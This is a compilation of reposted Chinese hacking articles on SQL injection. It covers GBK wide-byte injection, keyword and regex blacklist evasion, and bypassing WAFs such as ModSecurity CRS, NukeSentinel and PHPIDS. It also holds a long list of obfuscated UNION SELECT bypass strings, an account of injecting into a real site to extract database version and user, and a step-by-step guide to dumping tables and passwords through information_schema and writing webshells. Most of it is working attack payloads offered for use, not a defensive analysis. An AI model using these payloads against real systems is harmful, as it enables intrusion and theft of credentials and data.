web應用程序會對用戶的輸入進行驗證,過濾其中的一些關鍵字,這種過濾我們可以試著用下面的方法避開。
1、 不使用被過濾的字符: 比如注入一個數字數據,就不需要使用單引號;’ or 1=1–,如果注釋字符被過濾,我們可以這樣寫 ‘ or ’1′=’1 。
2、 避免使用簡單確認: 如果select關鍵字被過濾,我們可以嘗試用下面的方法書寫select,SeleCT; selselectect;或者使用URLencode,ascii編碼,%53%45%4c%45%43%54(ascii).
3、 使用sql注釋繞過: 如果空格被過濾了,我們可以使用sql語言的注釋。select/**/username,password/**/from/**/user–, mysql中甚至可以這樣 sele/**/ct username fr/**/om user–.
4、 替換被阻止的字符串: 要表示admin,oracle中可以用 ‘adm’||’in’ ,? mysql中可以用 concat(‘adm’,'in’); mssql中可以用:’adm’+'in’.
數據庫語法中有很多字符串操作函數,可以用來創建被過濾的字符串。Oracle中包含,CHR(ascii碼轉化)、REVERSE(字符串反轉),TRANSLATE(高級的字符串替換),REPLACE,SUBSTR函數。
mssql數據庫可以使用 exec(‘select * from user’), 這條命令可以變形為 exec(‘sele’+'ct * from user) ,還可以建立一個十六進制的編碼的字符串,通過exec來執行,從而避開某些關鍵字甚至是單引號的過濾。如:declear @q varchar(5000); select @q=0×73 65 6C 65 63 74 20 2A 20 66 72 6F 6D 20 75 73 65 72 ,exec(@q) .
另外如果網站是gbk編碼的,也可以利用漢字的編碼避開注入:
在magic_quotes_gpc=On的情況下,提交的參數中如果帶有單引號’,就會被自動轉義\’,使很多注入攻擊無效,
GBK雙字節編碼:一個漢字用兩個字節表示,首字節對應0×81-0xFE,尾字節對應0×40-0xFE(除0×7F),剛好涵蓋了轉義符號\對應的編碼0×5C。
0xD50×5C 對應了漢字“誠”,URL編碼用百分號加字符的16進制編碼表示字符,于是 %d5%5c 經URL解碼后為“誠”。
下面分析攻擊過程:
訪問 http://www.2cto.com /test.php?username=test%d5′%20or%201=1%23&pwd=test
經過瀏覽器編碼,username參數值為(單引號的編碼0×27)
username=test%d5%27%20or%201=1%23
經過php的url解碼
username=test 0xd5 0×27 0×20 or 0×20 1=1 0×23 (為了便于閱讀,在字符串與16進制編碼之間加了空格)
經過PHP的GPC自動轉義變成(單引號0×27被轉義成\’對應的編碼0×5c0×27):
username=test 0xd5 0×5c 0×27 0×20 or 0×20 1=1 0×23
因為在數據庫初始化連接的時候SET NAMES ‘gbk’,0xd50×5c解碼后為誠,0×27解碼為’,0×20為空格,0×23為mysql的注釋符#
上面的SQL語句最終為: SELECT * FROM user WHERE username=’test誠’ or 1=1#’ and password=’test’;
注釋符#后面的字符串已經無效,等價于
SELECT * FROM user WHERE username=’test誠’ or 1=1;
條件變成永真,成功注入。
補充:
0xD50×5C不是唯一可以繞過單引號轉義的字符,0×81-0xFE開頭+0×5C的字符應該都可以;
根據utf8的編碼范圍,無此問題;
這種變換在xss等領域也可以應用,假如服務端是GBK編碼格式。
摘自:http://www.2cto.com/Article/201209/153283.html
/***********************************************/
/***********************************************/
內容
#############
########################
【0×01】 – 簡介
########################
大家好,這是一篇致力于文檔化我們所從事的高級SQL注入技術的文章。
本文將要揭示能用于現實CMSs和WAFs程序中的高級繞過技術和混淆技術。文中所提到的SQL注入語句僅僅是一些繞過保護的方法。還有一些其他的技術能用于攻擊WEB程序,但是很不幸我們不能告訴你,因為它們就是0day。不論如何,本文旨在揭示現實世界中沒有完全徹底的安全系統即使你在一個WAF上面花費了三十萬美元。
本文分為7個章節,僅有0×01到0×03章節是介紹技術內容的。
0×01章節我們將詳細介紹關于如何繞過基本的函數和關鍵詞過濾。0×02章節我們將給出常見的繞過技術用于繞過開源和商業性的WAF。0×03章節我們將分兩個小節來深入探討高級繞過技術:“HTTP參數污染:分離和結合”和“HTTP參數參雜”。0×04章節我們將指導如何用正確的解決方案保護你的網站。在最后的0×05章節是對0×01到0×04章節的總結。
########################
【0×01】 -過濾規避(Mysql)
########################
本節將闡述基于PHP和MySQL的過濾規避行為以及如何繞過過濾。過濾規避是一種用來防止SQL注入的技術。這種技術可以用SQL函數,關鍵詞過濾或者正則表達式完成。這就意味著過濾規避嚴重依賴如何儲存一個黑名單或者正則表達式。如果黑名單或者正則表達式沒有覆蓋每一個注入情境,那么WEB程序對于SQL注入攻擊來說仍舊是脆弱的。
++++++++++++++++++++++++++++++++++++++++++
【0x01a】 – 繞過函數和關鍵詞過濾
++++++++++++++++++++++++++++++++++++++++++
函數和關鍵詞過濾使用函數和關鍵詞黑名單來保護WEB程序免受攻擊。如果一個攻擊者提交了一個包含在黑名單中的關鍵詞或者SQL函數的注入代碼,這個攻擊便會失效。然而,如果攻擊者能夠巧妙使用其他的關鍵詞或者函數來操作注入,那么黑名單將無法阻止攻擊。為了阻止攻擊大量的關鍵詞和函數必須放到黑名單中。但是這也影響了用戶,當用戶想提交一個存在黑名單中的單詞時,用戶將無法提交,因為這個單詞已被黑名單過濾。接下來的情境展示了一些使用函數和關鍵詞過濾以及繞過技術的例子。
關鍵詞過濾:? ? ? ? ? and,or
———————————————————————————–
PHP過濾代碼:? ? ? ? preg_match(‘/(and|or)/I’,$id)
關鍵詞and,or常被用做簡單測試網站是否容易進行注入攻擊。這里給出簡單的繞過使用&&,||分別替換and,or。
過濾注入:? ? ? ? ? ? 1 or 1 = 1? ? 1 and 1 = 1
繞過注入:? ? ? ? ? ? 1 || 1 = 1? ? 1 && 1 = 1
————————————————————————————
關鍵詞過濾:? ? ? ? ? and,or,union
————————————————————————————
PHP過濾代碼:? ? ? ? preg_match (‘/(and|or|union)/I’,$id)
關鍵詞union通常被用來構造一個惡意的語句以從數據庫中獲取更多數據。
過濾注入:? ? ? ? ? ? union? select? user, password? from? users
繞過注入:? ? ? ? ? ? 1 || (select? user? from? users? where? user_id = 1)=’admin’
** 注意:你必須知道表名,列名和一些表中的其他數據,否則你必須用別的語句從information_schema.columns中獲取。
舉例,使用substring函數獲取表名的每一個字符。
————————————————————————————-
關鍵詞過濾:? ? ? ? ? and,or,union,where
————————————————————————————-
PHP過濾代碼:? ? ? ? preg_match(‘/(and|or|union|where)/I’,$id)
過濾注入:? ? ? ? ? ? 1||(select? user? from? users? where? user_id = 1)= ‘admin’
繞過注入:? ? ? ? ? ? 1||( select? user? from? users? limit? 1)=’admin’
————————————————————————————–
關鍵詞過濾:? ? ? ? ? and,or,union,where,limit
————————————————————————————–
PHP過濾代碼:? ? ? ? preg_match(‘/(and|or|union|where|limit)/I’,$id)
過濾注入:? ? ? ? ? ? 1||(select? user? from? users? limit? 1)=’admin’
繞過注入:? ? ? ? 1||(select? user? from? users? group by user_id having user_id=1 )= ‘admin’
—————————————————————————————
關鍵詞過濾:? ? ? ? ? and,or,union,where,limit,group by
—————————————————————————————
PHP過濾代碼:? ? ? ? preg_match(‘/(and|or|union|where|limit|group by)/I’,$id)
過濾注入:? ? ? ? ? ? 1||(select? user? from? users? group? by? user_id? having? user_id? =1)=’admin’
繞過注入:? ? ? ? ? 1||(select? substr(group_concat(user_id),1,1) user? from? users? )=1
—————————————————————————————
關鍵詞過濾:? ? ? ? ? and,or,union,where,limit,group by,select,’
—————————————————————————————
PHP過濾代碼:? ? ? preg_match(‘/(and|or|union|where|limit|group by|select|\’)/I’,$id
過濾注入:? ? ? ? ? ? 1||(select substr(group_concat(usr_id),1,1)user from users =1
繞過注入:? ? ? ? ? ? 1|| user_id is not null
繞過注入:? ? ? ? ? ? 1||substr(user,1,1)=0×61
繞過注入:? ? ? ? ? ? 1||substr(user,1,1)=unhex(61)
—————————————————————————————-
關鍵詞過濾:? ? ? ? ? and,or,union,where,limit,goup by,select,’,hex,
—————————————————————————————–
PHP過濾代碼:? ? ? ? preg_match(‘/(and|or|union|where|limit|group by|select|\’|hex)/I’,$id)
過濾注入:? ? ? ? ? ? 1||substr(user,1,1)=unhex(61)
繞過注入:? ? ? ? ? ? 1||substr(user,1,1)=lower(conv(11,10,36))
——————————————————————————————
關鍵詞過濾:? ? ? ? ? and,or,union,where,limit,group by,select,’,hex,substr
——————————————————————————————-
PHP過濾代碼:? ? ? ? preg_match(‘/(and|or|union|where|limit|group by|select|\’|hex|substr)/I’,$id)
過濾注入:? ? ? ? ? ? 1||substr(user,1,1)=lower(conv(11,10,36))
繞過注入:? ? ? ? ? ? 1||lpad(user,7,1)
——————————————————————————————-
關鍵詞過濾:? ? ? ? ? and,or,union,where,limit,group by,select,’,hex,substr,white space
——————————————————————————————-
PHP過濾代碼:? ? ? ? preg_match(‘/(and|or|union|where|limit|group by|select|\’|hex|substr|\s)/I’,$id)
過濾注入:? ? ? ? ? ? 1||lpad(user,7,1)
繞過注入:? ? ? ? ? ? 1%0b||%0blpad(user,7,1)
——————————————————————————————–
從上面的例子中我們可以看出有大量的SQL語句可以用來繞過黑名單,雖然黑名單已經包含了很多關鍵詞和函數,此外,還有數不清的例子中沒有提到的SQL語句可以用來繞過黑名單。
建立一個更大的黑名單不是一個保護你網站的好注意。記住,過濾的關鍵詞和函數越多,對用戶越不友好。
++++++++++++++++++++++++++++++++++++++++++
【0x01b】 – 繞過正則表達式過濾
++++++++++++++++++++++++++++++++++++++++++
正則表達式過濾是一個比關鍵詞和函數過濾要好的阻止SQL注入的方法,因為它使用模式匹配來檢測攻擊。但是,很多正則表達式仍然能被繞過。下面以開源軟件PHPIDS 0.6舉例闡明用來繞過正則表達式的注入腳本。
PHPIDS通常阻止包含=,(或者’ 跟隨一個字符串或者整數輸入,比如1 or 1=1,1 or ’1’,1 or? char(97)。但是,它能被使用不包含=,(或者’符號的語句繞過。
[ code] ——————————————————————————————–
過濾注入:? ? ? ? ? ? 1 or 1 = 1
繞過注入:? ? ? ? ? ? 1 or 1
[end code] —————————————————————————————
[code] ---------------------------------------------------------------------------------------------
過濾注入:? ? ? ? ? ? 1 union select 1, table_name from information_schema.tables where table_name=’users’
過濾注入:? ? ? ? ? ? 1 union select 1,table_name from information_schema.tables where table_name between ‘a’ and ‘z’
過濾注入:? ? ? ? ? ? 1 union select 1,table_name from information_schema.tables where table_name between char(97) and char(122)
繞過注入:? ? ? ? ? ? 1 union select 1,table_name from information_schema.tables where table_name between 0x61 and 0x7a
繞過注入:? ? ? ? ? ? 1 union select 1,table_name from information_schema.tables where table_name like 0x7573657273
[end code] ----------------------------------------------------------------------------------------
########################
【0x02】 - 常見繞過技術
########################
在這個章節,我們將提到關于繞過WEB應用防護系統(WAF)的技術。首先我們需要認識一下什么是WAF。
WEB應用防護系統(WAF)是一套設備,服務擴展或者過濾器,對HTTP會話應用一系列的規則。一般來說,這些規則包含了常見的攻擊比如跨站腳本攻擊(XSS)和SQL注入攻擊。很多攻擊可以通過制定符合自己程序的規則來識別和阻擋。花時間實現定制規則是有重要意義的,而且當WEB程序改變時需要維護。
WAF通常被稱做“深層次數據包檢測防火墻”,它們檢查HTTP/HTTPS/SOAP/XML-RPC/WEB服務在內的每一個請求和相應。一些現代的WAF系統同時檢查攻擊特征和異常行為。
現在讓我們趕緊來了解如何用混淆技術來破壞WAF吧,只要花時間去理解它的規則以及運用你的想象所有WAF都能被繞過!
用注釋來繞過
SQL注釋能讓我們繞過許多繞過和WAF
[Code]---------------------------------------------------------
http://victim.com/news.php?id+un/**/ion+se/**/lect+1,2,3--
[End Code]----------------------------------------------------
變換大小寫
某些WAF僅過濾小寫的SQL關鍵詞
正則表達式過濾:/union\sselect/g
[Code]-----------------------------------------------------------
http://victim.com/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3--
[End Code]------------------------------------------------------
替換關鍵詞
某些程序和WAF用preg_replace函數來去除所有的SQL關鍵詞。那么我們能簡單的繞過。
[Code]-------------------------------------------------------------
http://victim.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3--
[End Code]-------------------------------------------------------
某些情況下SQL關鍵詞被過濾掉并且被替換成空格。因此我們用“%0b”來繞過。
[Code]-------------------------------------------------------------
http://victim.com/news.php?id=1+uni%0bon+se%0blect+1,2,3--
[End Code]--------------------------------------------------------
對于Mod_rewrite,注釋“/**/”不能繞過,那么我們用“%0b”代替“/**/”。
被禁止的:http://victim.com/main/news/id/1/**/||/**/lpad(first_name,7,1).html
繞過:http://victim.com/main/news/id/1%0b||%0blpad(first_name,7,1).html
字符編碼
大多CMS和WAF將對程序的輸入進行解碼和過濾,但是某些WAF僅對輸入解碼一次,那么雙重加密就能繞過某些過濾,這時WAF對輸入進行一次解碼并過濾與此同時程序繼續解碼且執行SQL語句。
[Code]---------------------------------------------------------------
http://victim.com/news.php?id=1%252f%252a*/union%252f%252a/select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users--
[End Code]----------------------------------------------------------
此外,這些技術結合起來可以繞過Citrix NetScaler
-去除所有“NULL”字符
-在某些部分使用查詢編碼
-去除單引號字符“’”
-爽去吧!
歸功于:Wendel Guglielmetti Henrique 和 Armorlogic Profense 較早的通過URL編碼換行符繞過2.4.4
#現實例子
NukeSentinel (Nuke Evolution)
[Nukesentinel.php Code]------------------------------------------------------------
// Check for UNION attack
// Copyright 2004(c) Raven PHP Scripts
$blocker_row = $blocker_array[1];
if($blocker_row['activate'] > 0) {
if (stristr($nsnst_const['query_string'],'+union+') OR \
stristr($nsnst_const['query_string'],'%20union%20') OR \
stristr($nsnst_const['query_string'],'*/union/*') OR \
stristr($nsnst_const['query_string'],' union ') OR \
stristr($nsnst_const['query_string_base64'],'+union+') OR \
stristr($nsnst_const['query_string_base64'],'%20union%20') OR \
stristr($nsnst_const['query_string_base64'],'*/union/*') OR \
stristr($nsnst_const['query_string_base64'],' union ')) {? // block_ip($blocker_row);
die("BLOCK IP 1 " );
}
}
[End Code]-------------------------------------------------------------------------
我們能利用下面腳本繞過它的過濾:
禁止: http://victim.com/php-nuke/?/**/union/**/select?..
繞過: http://victim.com/php-nuke/?/%2A%2A/union/%2A%2A/select?
繞過: http://victim.com/php-nuke/?%2f**%2funion%2f**%2fselect
Mod Security CRS? (歸功于:Johanners Dahse)
[SecRule]------------------------------------------------------------------------------
SecRule REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* ”\bunion\b.{1,100}?\bselect\b” \ “phase2,rev:’2.2.1’,capture,t:none,
t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:replaceComments,t:compressWhiteSpace,ctl:auditLogParts=+E,block,
msg:'SQL Injection Attack',id:'959047',tag:'WEB_ATTACK/SQL_INJECTION',tag:'WASCTC/WASC-19',tag:'OWASP_TOP_10/A1',
tag:'OWASP_AppSensor/CIE1',tag:'PCI/6.5.2',logdata:'%{TX.0}',severity:'2',setvar:'tx.msg=%{rule.msg}',
setvar:tx.sql_injection_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},
setvar:tx.%{rule.id}-WEB_ATTACK/SQL_INJECTION-%{matched_var_name}=%{tx.0}" [End Rule]-----------------------------------------------------------------------------
我們可以利用下面代碼繞過它的過濾:
[Code]-----------------------------------------------------------------------------------
http://victim.com/news.php?id=0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user
[End Code]------------------------------------------------------------------------------
從這個攻擊,我們可以繞過Mod Security。讓我們看看發生了什么!!
MySQL Server支持3中注釋風格:
-從#字符開始到這一行的末尾
-從--序列開始到這一行的末尾
-從/*序列到下一個*/之間,如同C語言
此語法能夠使注釋延伸到多行,因為開始序列和閉合序列不必在同一行。
下面的例子我們用“%0D%0A”作為換行符。讓我們看看第一個請求(獲取DB 用戶)。SQL數據的結果看起來類似如下:
0 div 1 union #foo*/*/bar
select#foo
1,2,current_user
然而當SQL數據被MySQL DB執行的時候類似如下:
0 div 1 union select 1,2,current_user
緩沖區溢出
用C語言寫的WAF有溢出的傾向或者在裝載一串數據時表現異常。
給出一大串數據使我們的代碼執行
[Code]--------------------------------------------------------------------
http://victim.com/news.php?id=1+and+(select 1)=(select 0x
/****************************************************/
/*****************************************************/
/*******************************************/
#WAF Bypassing Strings:
/*!%55NiOn*/ /*!%53eLEct*/
%55nion(%53elect 1,2,3)-- -
+union+distinct+select+
+union+distinctROW+select+
/**//*!12345UNION SELECT*//**/
/**//*!50000UNION SELECT*//**/
/**/UNION/**//*!50000SELECT*//**/
/*!50000UniON SeLeCt*/
union /*!50000%53elect*/
+#uNiOn+#sEleCt
+#1q%0AuNiOn all#qa%0A#%0AsEleCt
/*!%55NiOn*/ /*!%53eLEct*/
/*!u%6eion*/ /*!se%6cect*/
+un/**/ion+se/**/lect
uni%0bon+se%0blect
%2f**%2funion%2f**%2fselect
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
REVERSE(noinu)+REVERSE(tceles)
/*--*/union/*--*/select/*--*/
union (/*!/**/ SeleCT */ 1,2,3)
/*!union*/+/*!select*/
union+/*!select*/
/**/union/**/select/**/
/**/uNIon/**/sEleCt/**/
/**//*!union*//**//*!select*//**/
/*!uNIOn*/ /*!SelECt*/
+union+distinct+select+
+union+distinctROW+select+
+UnIOn%0d%0aSeleCt%0d%0a
UNION/*&test=1*/SELECT/*&pwn=2*/
un?+un/**/ion+se/**/lect+
+UNunionION+SEselectLECT+
+uni%0bon+se%0blect+
%252f%252a*/union%252f%252a /select%252f%252a*/
/%2A%2A/union/%2A%2A/select/%2A%2A/
%2f**%2funion%2f**%2fselect%2f**%2f
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
/*!UnIoN*/SeLecT+
##
#
#
#Union Select by PASS with Url Encoded Method:
? %55nion(%53elect)
? union%20distinct%20select
? union%20%64istinctRO%57%20select
? union%2053elect
? %23?%0auion%20?%23?%0aselect
? %23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect
? %55nion %53eLEct
? u%6eion se%6cect
? unio%6e %73elect
? unio%6e%20%64istinc%74%20%73elect
? uni%6fn distinct%52OW s%65lect
? %75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%7
轉自? http://www.cnblogs.com/xishaonian/p/6274586.html
http://www.jb51.net/article/48933.htm
/********************************************/
/**********************************************/
? 前幾今天遇到一個bt 的老外注射點:
? ? //*ps 此點目前流行的注射工具射不 *//
? ? http:// /index.php?content=more_product&id=17
? ? http:// /index.php?content=more_product&id=17 and 1=1 正常
? ? http:// /index.php?content=more_product&id=17 and 1=2 報錯
? ? http:// /index.php?content=more_product&id=17 order by 6 正常
? ? http:// /index.php?content=more_product&id=17 order by 7 錯誤
? ? 繼續按照常規的手法注射:
? ? http:// /index.php?content=more_product&id=-17+UNION+SELECT+1,2,
? ? 3,4,5,6--
? ? 錯誤nnd,過濾 UNION+SELECT 我們來加點特殊的字符看看能不能繞過
? ? http:// /index.php?content=more_product&id=-17+/**//**//*!uNiOn*//**/
? ? /**//*!sElEcT*//**//**/1,2,3,4,5,6--
? ? 悲劇還是繞不過去 - -,于是嘗試自己知道的繞過方法繼續射…
? ? http:// /index.php?content=more_product&id=-17+/*U*//*n*//*i*//*o*//*n
? ? *//*t*/+/*s*//*e*//*l*//*e*//*c*//*t*/+1,2,3,4,5,6--
? ? http:// /index.php?content=more_product&id=-17+concat(u,n,i,o,n)+conca
? ? t(s,e,l,e,c,t)+all+1,2,3,4,5,6--
? ? 悲劇還是繞不過去,nnd。找了幾個朋友看了還是繞不過去邪惡的過濾啊。要是國內
? ? 的站以上幾種方法一般都能搞定,老外就是bt。最后實在木有辦法了只好去國外的黑
? ? 客論壇求助老外幫助。國外php 注射歷史悠久手法獨特+方法猥瑣 射出幾率相當高
? ? 于是發帖求助了終于有一個黑客回帖了而且輕松的繞過去了。
? ? http:// /index.php?content=more_product&id=-17? and? (select? 1)=(select
? ? 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAA)+/*!union*/+select+1,2,3,4,5,6--+-
? ? 靠,老外果然牛B 那么繼續射
? ? http:// /index.php?content=more_product&id=-17? and? (select? 1)=(select
? ? 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
? ? AAAAAAAAAAAAAAAA)+/*!union*/+select+1,concat_ws(0x7c,version(),database(),u
? ? ser()),3,4,5,6--+-
? ? 成功得到系統版本、當前數據庫用戶、用戶名
/**********************************/
/************************************/
/***************************************/
根據我對MySQL的認識,注入時,基本可以通過爆、盲注、報錯三種方式獲得用戶名和密碼,在權限足夠的情況下,還可以直接通過SQL語句插入并導出我們的一句話webshell。
當拿到一個MySQL的注入點的時候,我們需要判斷MySQL的版本。因為當MySQL的版本小于4.0時,是不支持union select聯合查詢的;當MySQL版本大于5.0時,有個默認數據庫information_schema,里面存放著所有數據庫的信息(比如表名、列名、對應權限等),通過這個數據庫,我們就可以跨庫查詢,爆表爆列。現在一般情況下,MySQL都是4.0以上的,所以我們就放心的用聯合查詢吧。
對于MySQL的注入,大概有這些思路:
1.判斷注入點是否有讀寫權限,如果有,那么可以直接讀取配置文件、用戶名密碼等;當magic_quotes_gpc為off的時候還可以直接導出一句話webshell。
//magic_quotes_gpc為on的時候,'會被轉成\',而寫導出的絕對路徑的時候又必須是用'括起來,所以,就蛋疼了。。
2.沒有讀寫權限時,判斷MySQL版本,5.0以上時可以通過爆的方式獲得用戶名密碼;5.0以下或者5.0以上不能爆時(比如限制了information_schema數據庫),可以通過盲注獲得用戶名密碼。
//盲注:我的理解是,通過返回頁面的正確與否判斷查詢語句是否正確,和Access數據庫的注入很類似,可以算是猜吧。
3.有時候,由于一個參數可能執行了多個查詢語句,而導致查不出字段數,更沒有數字回顯時,如果服務器開啟了MySQL錯誤回顯的話,還可以通過報錯注入從報錯信息中獲取我們想要知道的東西。
暫時我想起來的就這些,盲注和報錯這兩種方式俺不是太熟,就不說了。在這里,我就只簡單介紹下MySQL數據庫5.X版本的爆表爆列爆內容。
步驟一:判斷注入點
不多說了。單引號、and 1=1、and 1=2。
步驟二:order by和union select
通過order by查出字段數目N,然后聯合查詢。
and1=2 union select 1,2,3,4...,N--
//首先and 1=2報錯,用單引號或在參數前加個"-"也行
//這里和Access不同,后面可以不加"from 表名";最后面的"--"是注釋符,注釋掉后面的語句,防止出錯,換成"/*"也行,也可以不加
//Access不支持注釋符,MySQL和MSSQL支持
//這兩個也不多說了
步驟三:查出基本信息
得到數字回顯后,將對應數字位換成我們想查詢的信息,比如顯示位是3
and1=2 union select 1,2,version(),4...,N--
//介紹幾個常用函數:
1. version()——MySQL版本
2. user()——用戶名
3. database()——數據庫名
4. @@datadir——數據庫路徑
5. @@version_compile_os——操作系統版本
我們可以通過將對應函數放到顯示位中查出相應信息
//再介紹幾個很有用的函數:
1. concat(str1,str2,...)——沒有分隔符地連接字符串
2. concat_ws(separator,str1,str2,...)——含有分隔符地連接字符串
3. group_concat(str1,str2,...)——連接一個組的所有字符串,并以逗號分隔每一條數據
說著比較抽象,其實也并不需要詳細了解,知道這三個函數能一次性查出所有信息就行了。
比如:concat(version(),0x3a,user(),0x3a,database(),0x3a,@@datadir,0x3a,@@verion_compile_os)
concat_ws(0x3a,version(),user(),database(),@@datadir,@@verion_compile_os)
group_concat(version(),0x3a,user(),0x3a,database(),0x3a,@@datadir,0x3a,@@verion_compile_os)
//0x3a是":"的十六進制,在這里把它作為分隔符,沒有它,查出來的東西就連成一片了
//在實際查的時候,有些時候可能會出錯,比如@@verion_compile_os這個函數就經常出錯,去掉就是了。。= =
//對于MySQL函數可以百度,或查看MySQL官方手冊http://dev.mysql.com/doc/
步驟四:爆表爆列爆用戶名密碼
爆的方法有很多,我就說說我知道的幾種吧,從最“溫和的”到最“野蠻的”。
第一種:查表查列
1. and 1=2 union select 1,2,table_name,4 from (select * from information_schema.tables where table_schema=庫名十六進制 limit N,1)t limit 1--
2. and 1=2 union select 1,2,column_name,4 from (select * from information_schema.columns where table_name=表名十六進制 and table_schema=庫名十六進制 limit N,1)t limit 1--
3. and 1=2 union select 1,2,列名,4 from 表名
//這里改變N的值,查出一個個表名、列名
//這個方法比較老,具體的原理那些我也不太懂,尤其是那個t和后面那個limit 1,了解下就行了
第二種:高級查表查列
1. and 1=2 union select 1,2,schema_name,4 from information_schema.schemata limit N,1
2. and 1=2 union select 1,2,table_name,4 from information_schema.tables where table_schema=要查的庫名的十六進制 limit N,1
3. and 1=2 union select 1,2,column_name,4 from information_schema.columns where table_name=要查的表名的十六進制 limit N,1
//有個提速技巧,要查的庫名的十六進制那個地方填database(),就是table_schema=database(),直接就表示當前數據庫
//找敏感的表,含有admin、manage或user之類的
第三種:爆表爆列
1. and 1=2 union select 1,2,group_concat(schema_name),4 from information_schema.schemata
2. and 1=2 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema=要爆的庫名的十六進制
3. and 1=2 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name=要爆的表名的十六進制
4. and 1=2 union select 1,2,group_concat(列名1,0x3a,列名2),4 from 表名
www.2cto.com
//distinct表示不同,也就是去掉爆出內容的重復部分,不加也可以,我習慣加上
//這個方法好就好在通過用group_concat()這個函數直接爆出所有庫名、表名、列名、字段內容,可以提高速度,方便查找
第四種:高級爆表爆列
1. and 1=2 union select 1,2,group_concat(distinct table_schema),4 from information_schema.columns
2. and 1=2 union select 1,2,group_concat(distinct table_name),4 from information_schema.columns where table_schema=要爆的庫名的十六進制
3. and 1=2 union select 1,2,group_concat(distinct column_name),4 from information_schema.columns where table_name=要爆的表名的十六進制
4. and 1=2 union select 1,2,group_concat(列名1,0x3a,列名2),4 from 表名
//所有數據都是從information_schema.columns這個表里獲取,因為從information_schema這個庫的介紹(http://dev.mysql.com/doc/refman/5.1/zh/information-schema.html)我們可以看到,從information_schema.columns這個表里,我們可以查到所有的信息,因為它在里面,table_schema、table_name、column_name這個三個列都有,所以我們可以直接通過這個表,查出我們需要的所有信息,就省了換表這一步了,進一步提升速度
到這一步,我們的注入就算完成了,找后臺解密登陸就是了。俺再多說幾句。
還是那句話,MySQL的注入非常的靈活,我總結的只是最基本的語句,只是一點點皮毛而已。至于更高級的,大家去論壇、百度找找吧。比如當我們用上面的語句無法成功查出的時候,我們可以嘗試下這些方法。
1. 當union select 1,2,3,4沒有出現數字位時,可以嘗試把數字都換成null,然后逐個嘗試替換成數字或字符或直接換成version(),找到可以顯示出來的那一位。這個貌似是因為對應變量類型不同的原因,我也不是太懂。
2. 有些時候莫名其妙的就出錯的時候(比如有數字顯示位,而用替換函數(比如version())去替換時卻返回空白頁或報錯),爆不出來的時候,可以嘗試通過hex()或convert()等函數來解決可能的編碼問題,比如hex(version())、unhex(hex(version()))、convert(version() using latin1)等等
3. 在注入的時候,可以把空格換成"+"或者"/**/",這都是等價的,因為空格會被自動轉成"%20",看著很亂,而且換過以后貌似能過一些過濾。
